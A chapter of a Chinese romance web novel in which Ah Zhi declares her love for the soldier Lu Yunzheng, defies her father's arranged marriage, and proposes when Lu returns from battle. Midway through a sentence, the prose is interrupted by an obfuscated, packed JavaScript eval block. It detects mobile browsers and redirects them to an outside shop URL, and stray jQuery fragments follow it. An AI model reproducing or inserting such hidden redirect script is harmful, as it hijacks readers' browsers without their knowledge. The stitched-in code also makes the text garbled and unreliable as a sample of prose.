22. 情有可原

作品:《吾妻阿致

    22


    被陆昀峥主动表白心意,阿致呆住了,半晌说不出话来。她喜欢的人也喜欢她,春夜的风骚动着她额前碎发。


    还有,他的眼睛真的好亮好亮。


    阿致看着他的眼睛,有个念头陡然击中了她的心——她好喜欢他,不管以后会如何。即使,和陆昀峥是黄粱一梦,她也愿意在此刻伸手捧着他的脸,和他靠在一起。


    是,在她十八岁的人生里,陆昀峥是第一个对她这么好的人,错过这一个,她没有自信再遇到他这样的男人。但更重要的是,她喜欢他,是一种冲动,从第一次见面就想要和他唇齿相贴的亲密冲动。


    阿致伸出手来,轻轻贴着陆昀峥的脸颊颌线,突然下定决心——她接受未来的任何一种可能,即使可能会被抛弃。她只想要按照自己的喜好和愿意,选择爱谁、和谁一起生活,坚定地往前走,不要回头。


    阿致慢慢起身,她的手掌微微离开他的脸。


    陆昀峥伸手,按住她瘦弱的掌背。他坐着,她站着,他仰头看着阿致。


    阿致弯腰,闭眼轻吻他的脸。


    他的问题是——你喜欢我吗?


    她的回答够明确了吧。


    阿致睁开眼睛,脸红地退后一步。


    陆昀峥伸出另一只大掌,摁住她的后腰,迅速起身,将她抱在了怀里,紧紧的。


    阿致也抱着他宽大的腰身,脸颊贴在他胸前,听他心跳如擂鼓。


    好一会,阿致翘起红唇,踮脚仰头亲他的下巴:“喜欢吗?”


    她的唇温热,陆昀峥低头亲她的额头:“喜欢。”


    阿致淘气地说:“这么容易被女色所骗,不及格!”


    “喜欢不对吗?”


    “你应该说不喜欢。”


    “但我就是喜欢啊,你要我说谎?”陆昀峥不觉失笑,亲她的额头。


    阿致翘起嘴角:“那确实不能说谎。这次就不给你扣分了。”


    ·


    两人确定心意后,恨不得日日黏在一起,手牵着手,一刻也不要分离才好。可惜,义渠那边主动惹出事端,去到附近的城池烧杀抢掠,导致损失惨重。因此城中军营的训练加重,随时准备应战。


    两人能聚在一起的时间不多,便总是找时间偷偷摸摸见面,几乎日日逛夜集,一起吃晚饭。


    他俩口味都差不多,喜欢吃东街的牛肉面。每天最幸福的事就是,在思念对方一整天后,终于能见到他的脸,然后手牵手去吃牛肉面,一路上念叨今日的所见所闻。都是小事,就是想要什么都说给你听。都是小事,但发生在你身上的,我都想要知道。这大抵是恋人的常态吧。


    由于局势紧张,两人能见面的机会越来越少。有时候,陆昀峥晚上值守,阿致干脆去城楼上陪他。城楼上风大,陆昀峥便将她藏在容身的角落里。两人谈天说地,多久都不厌,这时候陆昀峥会望着远处的大漠和城池,告诉阿致,总有哪一天,他会收复这些城池。阿致相信他,也相信他会做到。


    早上,陆昀峥将阿致送回家时,两人依依不舍。陆昀峥将她抱在怀里,久久不愿意放开。阿致同样不舍,陆昀峥要离开宜阳城,外出执行任务。


    听王阳说,此行非常凶险。


    陆昀峥离开后,阿致日日挂念他。人生第一次,她深刻明白,原来挂念一个人是什么感觉。怕他发生什么事,吃不下睡不着。日日都盼着他回来。


    阿致感觉这样不好,便自己寻些事做。她找面馆的老板娘谈好了,她打工不要银钱,请老板娘教她怎么做牛肉面。老板娘禁不住她的软磨硬泡,便答应了,只一条,不可在这铺子十里地范围内打擂台。


    忙起来,便不会胡思乱想了。可是休息的空隙,阿致一想起陆昀峥,还是面上带笑。


    她以为日子会一直这样,幸福中带着烦恼。忽然一日,大荔来的胡虏趁机攻入宜阳城中。


    街道上被胡虏洗劫一空,好在阿致当时正在面馆里,老板娘年纪大,见多识广,早有准备,和阿致躲在地道中,躲过一劫,只损失了些粮食和银钱。后来城里的将士,将他们逼退出去,城中才重获宁静。


    阿致第一时间去军营里找她爹沈金。


    她爹沈金没有大碍,就是逃跑过程中,脚崴了。


    问了下,军医马上就来,只是须得等待。阿致终于放下心来:“我还有事,先走了。”


    “你不紧张你亲爹,反而要去问陆昀峥的消息,是不是?”沈金的脸色特别难看。


    “你这不是没事吗?”阿致其实很清楚,她爹希望女儿能捧着他大哭一场,最好是哭诉自己不能失去父亲。但是阿致并不想满足父亲这样的想法。对于阿致来说,这样做无异于吞了一个苍蝇。


    沈金的脸拉下来,写满了“寒心”二字。他不会大吵大闹的,他就是彻底的寒心。


    王阳正在统计伤员情况,阿致拉着他问陆昀峥的消息。王阳支支吾吾一会,还是诚实告诉她,陆昀峥所在的分队遭到了埋伏,可能凶多吉少。


    阿致腿脚无力,差点晕倒在地上。她手指狠狠掐着掌心,她不能接受陆昀峥就这么死了。


    这时候严吒跑过来,抱着沈金一串“金叔”地叫,撕心裂肺。不知道的还以为他爹妈死绝了呢。


    沈金很吃这一套,和严吒抱头痛哭。


    阿致茫然地看着这两人。接下来几天,她格外沉默寡言。这是她第一次意识到,原来人与人的缘分如此脆弱,永远不知道明天会发生什么,你会失去什么至爱。


    也是第一次,她理解了父亲的好骗。父亲大概是很需要有人在乎他……至少要表现得很在乎他的死活。


    可惜,阿致还是做不到。


    她和父亲之间有无法调和的矛盾,原因有三个。第一个是因为父亲总是醉酒打她,第二个是因为父亲根本不尊重她的婚嫁意愿。这两个原因都还可以忍受,因为她可以努力去改变和反抗。唯独第三个原因——他曾对阿妈所做的事,是她一辈子也无法原谅的。


    这一日,阿致去军营里打听陆昀峥的消息,无果,她回到家中。


    父亲沈金的腿伤已经好得差不多,但还躺在床上修养。


    阿致给他把药煎好,送过去时,她爹告诉她:“已经和阿吒说好了,你们下个月初一的婚期。”


    离下个月初一,不到半个月了。


    阿致将药放在一旁:“我不同意。”


    “你还惦记着陆昀峥?他到现在没回来,那就是死了!”沈金十分激动。


    阿致转身准备出门:“死了就死了,他死了我就不打算再嫁人。”


    不会再有人像陆昀峥对她那样细心和温柔。她爹都做不到的事,陆昀峥做到了。


    “不嫁人?你难道没听说城南头的姑娘被玷污了,婚事被退,最终只能上吊自杀的?”沈金恨恨道,“我这是为你考虑长远!你一介女子就是需要有男人保护。”


    那自杀女子的事闹得满城风雨,即使在此之前已经人心惶惶。


    阿致抿着嘴唇,坚定地道:“我不需要别人保护。”


    “你不需要人保护,那你老了怎么过?谁来照顾你?你想过没有?你为何总觉得我会害你?”


    “我知道独身的女子无法在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14045188|148432||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    这里生活,因为这里一个未婚老女人都没有,但是长安城里有。我会去长安城里过日子。还有,阿爹,严吒现在都懒得照顾我,你怎么能笃定,在我老了的时候他会愿意照顾我?”阿致双手捏紧托盘,忍无可忍,“你总是催我嫁人,总是说别的没有血亲的男人会对我好,不过是因为有我阿妈那个傻子尽心尽力帮你,你得到过好处而已!但这不代表其他人会像我阿妈那么傻,愿意任劳任怨了一辈子,在生命攸关的时候,被最亲近信任的枕边人抛弃!”


    沈金勃然大怒,从床上坐起来,连连摇头:“你不就是觉得我亏待了你阿妈么?当年你阿妈的情况,你也是知道的,根本就很难救活,大夫也说了,没有必要花那么多钱铤而走险。你们没有脸怪我。”


    “是,很难救活,但是阿爹,那是你的枕边人啊,那是你孩子的亲娘,你就这么放弃了,试都不试?这难道不是亏待她?”阿致重新走回沈金的床边,和他对峙。


    沈金理直气壮起来,他气得满脸通红:“试的代价是什么?是我这些年劳苦的积蓄!那是我辛辛苦苦赚来的血汗钱,我有权决定怎么用。”


    “你的钱?”阿致讥讽道,“要不是阿妈在家里忙前忙后操持家务,生养照顾我,照顾你的起居,让你没有后顾之忧,你哪能赚到钱?可以说你拿到手的每一文钱,阿妈都至少出了一半的力。你说是你的钱,说我们没有脸怪你,你良心过得去吗?阿妈明知道可以试试看,却听到你说要放弃,当时她心里该多绝望,她大概会觉得自己这一辈子苦都白吃了,这一辈子白活了。我才不要嫁给严吒,过阿妈那样猪狗不如的日子!”


    “你!”沈金气得头晕,伸手捂住胸口,“谁家娘子不是操劳着过日子?难道我对你阿妈还不够好?”


    因为所有人都这样做,就代表这样做是正确的吗?


    阿致很想反驳,但是她想起来前不久,她在讲出心中实话后的那种愧疚感。明明死不悔改的是父亲……


    她瞬间冷静下来:“你觉得已经够好,但我觉得远远不够。所以,我不打算嫁人,除非他把我当人看。你最好和严吒说清楚。”


    说完阿致从家里走出去,一路走,一路流泪。她阿妈一辈子操持,在生命的分岔口,连争取的机会都没有,只因为她付出的劳动从来没有被估值过。就连同为女人的婶娘也曾说:“阿致,你爹在军营里赚钱多辛苦,他付出了那么多,不愿意也是情有可原的。”


    不知不觉,阿致又回到了军营。


    暮色降临时,她不知道应该去哪里,便去到夜集上,找到那天两人确定心意的凉亭,望着天上明澈的月亮,哭得眼泪模糊。


    模糊中,她似乎看到了陆昀峥。他大步流星跑过来,身上披着盔甲,盔甲上满是血迹,还有棕褐色的泥土。


    阿致抹了一把泪,呆呆看着那个人影渐渐放大,在她眼前。她以为自己在做梦。


    直到他弯腰,将她捞在怀里。


    他的呼吸喷洒在她的颈窝里,是湿热的。


    陆昀峥活着回来了。阿致站起身来,抬手摸他的脸,他活着回来了。


    阿致双手勾在他脖子上,凑到他唇边亲吻。


    陆昀峥同样热烈地回应她。


    阿致的脸上挂满泪水。


    陆昀峥用指腹给她擦干:“怎么了?”


    “如果成婚了,我自己开铺子挣钱,你能答应吗?”阿致不想过阿妈那样的人生,唯一的解法就是,自己赚钱,不要指望别人。


    “当然可以。”陆昀峥还以为是要求呢。


    阿致看着他的脸:“陆昀峥,我们成亲吧。”